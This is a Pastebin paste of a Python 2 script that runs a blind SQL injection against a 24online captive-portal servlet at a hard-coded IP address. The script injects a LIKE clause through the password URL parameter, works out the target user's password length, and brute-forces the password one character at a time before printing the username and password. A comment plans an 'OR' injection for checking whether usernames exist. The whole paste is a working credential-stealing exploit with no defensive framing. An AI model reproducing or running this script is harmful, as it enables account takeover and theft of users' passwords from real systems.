Guest User

Untitled

a guest
Oct 8th, 2016
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.85 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys
  4. import urllib2
  5. import xmltodict
  6.  
  7. try:
  8. username = sys.argv[1];
  9. except:
  10. username = raw_input("Enter username: ");
  11.  
  12. def getURL(guess, username):
  13. urlstring = "http://1.186.15.77/24online/servlet/AjaxManager?mode=2000&nasip=1.186.15.74&password=" + guess + "%27%20and%20((username%20Like%20%27" + username + "%27)%20)%20);%20--"
  14. return urlstring;
  15.  
  16. characters = "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ!@$%^&*_+?><,.;"
  17.  
  18. def getPasswordLength(username):
  19. guessString = "_"
  20. done = False;
  21. while not done:
  22. urlstring = getURL(guessString, username);
  23. webresp = urllib2.urlopen(urlstring);
  24. xmldata = webresp.read();
  25. resp = xmltodict.parse(xmldata);
  26. rstatus = resp['response']['returnstatus'];
  27. if (rstatus == '-1'):
  28. guessString += "_"
  29. else:
  30. return len(guessString);
  31. done = True;
  32. pass
  33.  
  34. def getPassword(username):
  35. length = getPasswordLength(username);
  36. glen = 0
  37. guessstr = []
  38. for i in range(0, length):
  39. guessstr.append('_');
  40. print("Length = " + str(length));
  41. while glen < length:
  42. matchc = False;
  43. index = 0;
  44. while not matchc:
  45. guessstr[glen] = characters[index];
  46. guessString = "".join(guessstr);
  47. urlstring = getURL(guessString, username);
  48. webresp = urllib2.urlopen(urlstring);
  49. xmldata = webresp.read();
  50. resp = xmltodict.parse(xmldata);
  51. rstatus = resp['response']['returnstatus'];
  52. if (rstatus == '0'):
  53. pguess = resp['response']['password'];
  54. print(pguess[0:length])
  55. glen += 1;
  56. break;
  57. index += 1;
  58. if (index == len(characters)):
  59. break;
  60. pass
  61. pass
  62. password = "".join(guessString);
  63. returnstring = "\n" + str(username) + ", " + str(password) + "\n";
  64. print(returnstring);
  65. return returnstring;
  66.  
  67. # TO-DO: Add 'OR' SQL injection to check if username exists or not
  68.  
  69. getPassword(username);
Add Comment
Please, Sign In to add comment